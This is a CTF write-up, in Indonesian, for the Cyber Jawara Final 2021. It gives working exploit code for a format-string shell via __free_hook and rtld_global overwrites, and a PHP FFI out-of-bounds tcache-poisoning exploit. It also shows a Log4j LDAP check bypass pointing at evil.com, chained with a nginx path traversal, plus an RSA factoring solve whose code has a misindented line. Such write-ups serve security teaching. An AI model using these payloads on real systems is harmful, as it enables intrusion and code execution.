Panitia CTF

← Back

Cyber Jawara Final 2021

Halftwin (Crypto)

Diberikan enkripsi RSA dengan nilai qq adalah hasil  p \oplus\ p\ dengan phbitp \ll hbit sehingga nilai pp dan qq memiliki hbit least significant bit yang sama. Penyelesaian problem ini mengikuti acuan paper berikut : https://users.monash.edu.au/~rste/LSBSRSA.pdf

1. Mencari nilai least signifikan bit (LS) yang sama

p=l+A . 2hbitp = l + A\ .\ 2^{hbit}

q=l+B . 2hbitq = l + B\ .\ 2^{hbit}

Npql2(mod 2hbit)N \equiv pq \equiv l^{2} (mod\ 2^{hbit})

l2N(mod 2hbit)l^{2} \equiv N (mod\ 2^{hbit})

Persamaan tersebut menjadi permasalahan square-roots modulo a power of 2, nilai ll yang memenuhi l2N(mod 2hbit)l^{2} \equiv N(mod\ 2^{hbit}) memilki solusi:

  • l=±s (mod 2hbit)l = \pm s\ (mod\ 2^{hbit})
  • l=±s ±2hbit1(mod 2hbit)l = \pm s\ \pm 2^{hbit-1} (mod\ 2^{hbit})

Dengan ss adalah nilai yang memenuhi s2N(mod 2hbit1)s^{2} \equiv N(mod\ 2^{hbit-1}) karena hbit=384hbit = 384, tidak begitu besar, kita dapat mencari (mod 2hbit)(mod\ 2^{hbit}) dengan bruteforce dari 4.

def valid(x, a, kCurr):
	return (x ** 2 % (1 << kCurr) == (a % (1 << kCurr)))

def generateL(a, kFinal):
	L8 = [1, 3, 5, 7]
	kCurr = 4

	while kCurr <= kFinal:
		l_next = []
		for l in L8:
			new_l = l % (1 << kCurr)
			if (valid(new_l, a, kCurr) and new_l not in l_next):
				l_next.append(new_l)
			
			new_l = -l % (1 << kCurr)
			if (valid(new_l, a, kCurr) and new_l not in l_next):
				l_next.append(new_l)
			
			new_l = (-l + (1 << (kCurr - 1))) % (1 << kCurr)
			if (valid(new_l, a, kCurr) and new_l not in l_next):
				l_next.append(new_l)
			
			new_l = (l + (1 << (kCurr - 1))) % (1 << kCurr)
				if (valid(new_l, a, kCurr) and new_l not in l_next):
			l_next.append(new_l)
			
		L8 = l_next
		kCurr += 1

	return l_next

2. Mengestimasi nilai p+qp + q

N=pqN = pq

N=(l+A . 2hbit)(l+B . 2hbit)N = (l + A\ .\ 2^{hbit}) (l + B\ .\ 2^{hbit})

N=l2+l . (A+B) . 2hbit+AB . 22.hbitN = l^{2} + l\ .\ (A + B)\ .\ 2^{hbit} + AB\ .\ 2^{2.hbit}

Nl2l . (A+B) . 2hbit (mod 22.hbit)N - l^{2} \equiv l\ .\ (A+B)\ .\ 2^{hbit}\ (mod\ 2^{2.hbit})

Karena kita sudah dapat nilai dari ll, kita dapat mencari nilai dari l1 (mod 22.hbit)l^{-1}\ (mod\ 2^{2.hbit})

  • Misal (A+B) . 2hbit=sH(A + B)\ .\ 2^{hbit} = sH, persamaan diatas akan menjadi:

Nl2l . sH (mod 22.hbit)N - l^{2} \equiv l\ .\ sH\ (mod\ 2^{2.hbit})

sH(Nl2) . l1 (mod 22.hbit)sH \equiv (N-l^{2})\ .\ l^{-1}\ (mod\ 2^{2.hbit})

  • Misal s0=p+qs0 = p + q

s0=p+qs_{0} = p + q

s0=2l+(A+B) . 2hbits_{0} = 2l + (A+B)\ .\ 2^{hbit}

s02l+sH (mod 22.hbit)s_{0} \equiv 2l + sH\ (mod\ 2^{2.hbit})

s0s0 adalah hasil modulo dari 22.hbit2^{2.hbit} sehingga dilakukan bruteforce untuk mendapatkan 2 most significant bit.

e = 65537
N = [...REDACTED...]
c = [...REDACTED...]

nbit = 1536
l_list = generateL(N, nbit//4)
hbit = nbit // 4
p = 0

for l in l_list:
    l_inverse = inverse(l, 1 << (2 * hbit))
    sH = (l_inverse * (N - l*l)) % (1 << (2 * hbit))
    s0 = (2 * l + sH) % (1 << 2 * hbit)
    MSs = [0, 1, 2, 3]
    for MS in MSs :
        s = (MS << (2 * hbit)) + s0

3. Faktorisasi NN

p2(p+q)p+pq=0p^{2} - (p+q) p + pq = 0

p2s p+N=0p^{2} - s\ p + N = 0

Bruteforce seluruh kandidat ss sesuai dengan persamaan tersebut, kemudian difaktorkan untuk mendapat nilai pp dan dicari nilai yang memenuhi.

for MS in MSs :
    s = (MS << (2 * hbit)) + s0

    try:
        D = iroot(s**2 - 4 * N, 2)[0]
        x1 = (s + D)//2
        x2 = (s - D)//2
        
        if (N % x1 == 0):
            p = x1
        elif (N % x2 == 0):
            p = x2

        if (p != 0):
            break
    except:
        continue

    if (p!=0):
        break

4. Decrypt RSA dengan pp dan qq yang telah didapatkan

q = N//p

assert p*q == N

phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, N)

print(long_to_bytes(m))

Log5shell (Pwn)

Infinite format string, overwrite __rltd_global+3848 untuk function pointer dan __rltd_global+2313 untuk argument. Untuk exit, bisa dilakukan dengan overwrite __free_hook. Trigger dengan membuat input buffer > 655xx.

#!/usr/bin/python

from pwn import *

context.update(arch='amd64', os='linux')

PATH = './patched'
HOST = '178.128.96.165'
PORT = 2

def write(address, value, length = 8):
    offset = 16
    for i in range(length):
        payload  = b''
        payload += "%{}x%{}$hhn".format(value & 0xff, offset).encode()
        payload  = payload.ljust(0x40, b'A')
        payload += p64(address + i)

        value >>= 8
        
        r.sendline(payload)
        r.recv()

def exploit(r):
    r.recvline(0)

    r.sendline("%23$p")
    
    libc_start_main = int(r.recvline(0), 16)
    libc.address = libc_start_main - libc.sym.__libc_start_main - 243

    info(hex(libc_start_main))
    info(hex(libc.address))

    write(libc.sym.__free_hook, libc.sym.exit, length=6)
       
    write(libc.address + 0x224f68, libc.sym.system, length=6)
    write(libc.address + 0x224968, u64(b'//bin/sh'), length=8)

    r.sendline("%65528x")
    
    r.interactive()

if __name__ == '__main__':
    elf  = ELF(PATH)
    libc = ELF('./libc.so.6', checksec = False)

    if args.REMOTE:
        r = remote(HOST, PORT)
    else:
        env = {'LD_PRELOAD' : './libc.so.6'}
        r = process(PATH, aslr=1, env=env)
    exploit(r)

Flag: CJ2021{log4c_logging_like_it_was_90s_974d2985d2923409fa6fc88e461171fc0744dd6d}

Unsecure-by-design (Pwn)

PHP FFI OOB. Manfaatkan oob tersebut untuk overwrite salah satu fd pointer yang ada di tcachebins.

<?php

$a = creatbuf(9, false, true);
$b = $a+1;

$b[0] = 0xdeadbeef;
$b[1] = 0xdeadbeef;

$libc = $b[115] - 0x1ebbe0;
$libc_system = $libc + 0x55410;
$free_hook = $libc + 0x1eeb28;

# overwrite "/box/hax.php" to "/readflag"
# ini akan di free setelah eksekusi "/box/hax.php".
$b[58727] = 0x616c66646165722f;
$b[58728] = 0x67;

# tcache-poisoning tcachebins[1] -> __free_hook.
$b[789] = $free_hook;

$x = creatbuf(9, false, true);
$y = creatbuf(9, false, true);

# overwrite __free_hook -> system.
$y[0] = $libc_system;

?>

Flag: CJ2021{now_you_know_why_ffi_bug_isnt_considered_as_security_bug_06569ff44c3eb0b5a37813356209dde51e9b6a22}

Yggdarsil (Reversing)

Binary yang dibuat menggunakan rust. Dengan dump string akan didapatkan sesuatu yang menarik, yaitu fungsi $author$project$Main$validate.

var $author$project$Main$validate = function (flag) {
	return _Utils_eq(
		$author$project$Main$extract(
			A3($author$project$Main$doEncrypt, 1337, 'sacred_key_for_sacred_tree', flag)),
		$author$project$Main$ct) ? 'Correct!' : 'Incorrect!';

Fungsi diatas memanggil fungsi $author$project$Main$doEncrypt, yang dimana fungsi tersebut akan memanggil fungsi $billstclair$elm_crypto_string$Crypto$Strings$encrypt yang merupakan fungsi dari suatu library yang terdapat dalam https://github.com/billstclair/elm-crypto-string .

var $author$project$Main$doEncrypt = F3(
	function (time, passphrase, plaintext) {
		return A3(
			$billstclair$elm_crypto_string$Crypto$Strings$encrypt,
			$elm$random$Random$initialSeed(time),
			passphrase,
			plaintext);
	});

Didalam github tersebut, terdapat versi online example yang bisa kita gunakan untuk melakukan encrypt dan decrypt. Jadi tinggal masukkan ciphertext dan passphrase untuk dapatkan flag.

c61c718332d43f97c262c94cada6513b3603f519.png

Flag: CJ2021{a_delightful_flag_for_reliable_reverser}

Log4shell (Web Exploit)

d10f48c6a308ac6d05090fc751deea7a18aa5ce6.png

Pada saat melakukan request dengan route /log dan headers x-real-ip akan dilakukan log dengan format sebagai berikut.

c1a318bcef357eb6dbf122391aeb75370857af04.png

Kemudian saat cek versi dari log4j 2.15.0 masih vulnerable akan tetapi belum didapat public exploitnya, kemudian dilakukan pengecekan patching terhadap source code log4j (https://logging.apache.org/log4j/2.x/jira-report.html)

Pada commit terakhir di gitbox didapati sanity check pada url ldap, akan tetapi masih di bypass dengan menggunakan schema url berikut.

localhost#evil.com:port/path

Lanjut dilakukan pengecekan pada saat deploy apps, aplikasi disini menggunakan spring kemudian dilakukan rev proxy dengan nginx.

server {
	listen 80;

	location / {
		root   /usr/share/nginx/html;
		index  index.html index.htm;
	}

	location /yeet {
		proxy_pass http://logapp:8080;
	}
}

Kita tidak dapat mengakses langsung langsung route /log dengan /yeet/log, akan tetapi untuk request ke internal url bisa menggunakan path traversal /yeet/..;/log

version: '3'
services:
  logapp:
    build: .
    environment:
    - FLAG=CJ2021{fakeFlag} 
                                                                                                
  nginx:
    build: nginx/                                                                                                           
    ports:
      - 9090:80

Dari file docker-compose didapati jika flag tersimpan di env FLAG logapp, yaudin tinggal chain vuln path traversal sebelumnya dengan log4j. Berikut payloadnya https://gist.github.com/bhrdn/f4b2c4a5faa0b2a105e32451ef6cfac2 (gabisa di embed ke notion kena cf 😭)